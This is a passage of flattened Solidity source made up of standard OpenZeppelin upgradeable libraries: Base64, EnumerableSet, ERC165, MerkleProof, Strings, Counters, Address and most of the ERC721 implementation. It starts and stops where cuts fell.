tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } function decode(string memory _data) internal pure returns (bytes memory) { bytes memory data = bytes(_data); if (data.length == 0) return new bytes(0); require(data.length % 4 == 0, "invalid base64 decoder input"); // load the table into memory bytes memory table = TABLE_DECODE; // every 4 characters represent 3 bytes uint256 decodedLen = (data.length / 4) * 3; // add some extra buffer at the end required for the writing bytes memory result = new bytes(decodedLen + 32); assembly { // padding with '=' let lastBytes := mload(add(data, mload(data))) if eq(and(lastBytes, 0xFF), 0x3d) { decodedLen := sub(decodedLen, 1) if eq(and(lastBytes, 0xFFFF), 0x3d3d) { decodedLen := sub(decodedLen, 1) } } // set the actual output length mstore(result, decodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 4 characters at a time for {} lt(dataPtr, endPtr) {} { // read 4 characters dataPtr := add(dataPtr, 4) let input := mload(dataPtr) // write 3 bytes let output := add( add( shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)), shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))), add( shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)), and(mload(add(tablePtr, and( input , 0xFF))), 0xFF) ) ) mstore(resultPtr, shl(232, output)) resultPtr := add(resultPtr, 3) } } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProofUpgradeable { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) 